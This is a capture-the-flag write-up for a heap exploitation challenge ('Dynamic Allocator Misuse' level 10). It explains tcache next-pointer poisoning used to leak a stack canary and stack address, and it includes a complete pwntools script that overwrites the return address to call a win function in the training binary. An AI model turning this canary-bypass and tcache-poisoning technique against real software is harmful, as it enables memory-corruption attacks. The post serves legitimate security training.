(Dynamic Allocator Misuse) level 10
(Dynamic Allocator Misuse) level 10
Information
- category: pwn
Description
Leverage TCACHE exploits to gain control flow.
Write-up
Goal: leak the stack canary, leak a stack address to bypass PIE, and finally overwrite a return frame (ret2win) to get the flag.
Idea in one line
Abuse the tcache next
pointer in a freed chunk header: overwrite it so the next malloc
returns a pointer that points at the canary (and later to the stack). Use that read/write to leak the canary and stack, then craft a scanf
payload to hijack control flow.
1. Redirect tcache next
to the canary
- Allocate a chunk (call it
alloc[0]
) and thenfree(0)
. - After freeing, write into the freed chunk’s header to set the tcache
next
pointer (next_ptr
) to the address of the stack canary. - When the next
malloc
is issued, it will return a pointer that resolves to the canary address. Reading/printing that memory yields the canary value.
Pseudo:
1
2
3
4
5
alloc(0)
free(0)
write_header_of_tcache_chunk(next_ptr = addr_of_canary)
malloc() # returns pointer that points to canary
puts(0) # leak canary
2. Overwrite return frame and trigger
- Use the write primitive again to make the next
malloc
return a pointer to a stack frame where you can place a forged return context.
1
2
3
4
5
// layout on stack (conceptual)
[ padding... ]
[ canary (correct) ]
[ saved rbp ]
[ ret addr -> ret2win ]
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
elf = context.binary = ELF("/challenge/babyheap_level10.1")
offset_ret = 0x118
offset_canary = 0x108
def conn():
global p
p = elf.process()
def malloc(idx,size):
p.sendline(b"malloc")
p.sendline(idx)
p.sendline(size)
def free(idx):
p.sendline(b"free")
p.sendline(idx)
def scanf(idx,data):
p.sendline(b"scanf")
p.sendline(idx)
p.sendline(data)
def puts(idx):
p.sendline(b"puts")
p.sendline(idx)
def quit():
p.sendline(b"quit")
p.interactive()
def leak():
p.recvuntil(b"allocations is at: ")
stack = int(p.recvline().split(b".")[0],16)
p.recvuntil(b"main is at: ")
main = int(p.recvline().split(b".")[0],16)
baself = main - elf.symbols['main']
elf.address = baself
malloc(b"0",b"0")
malloc(b"1",b"0")
free(b"1")
free(b"0")
scanf(b"0",p64(stack + offset_canary + 1))
malloc(b"0",b"0")
malloc(b"0",b"0")
puts(b"0")
p.recvuntil(b"Data: ")
canary = u64(p.recvline().strip().rjust(8,b"\x00"))
log.success(f"stack: {hex(stack)}")
log.success(f"main: {hex(main)}")
log.success(f"canary: {hex(canary)}")
return canary,stack
def send_payload(stack,canary):
malloc(b"0",b"0")
malloc(b"1",b"0")
free(b"1")
free(b"0")
scanf(b"0",p64(stack))
malloc(b"0",b"0")
malloc(b"0",b"0")
payload = flat(
b"A"*(offset_canary),
canary,
0,
elf.symbols['win']
)
scanf(b"0",payload)
quit()
def main():
conn()
canary,stack = leak()
send_payload(stack,canary)
if __name__ == "__main__":
main()
This post is licensed under CC BY 4.0 by the author.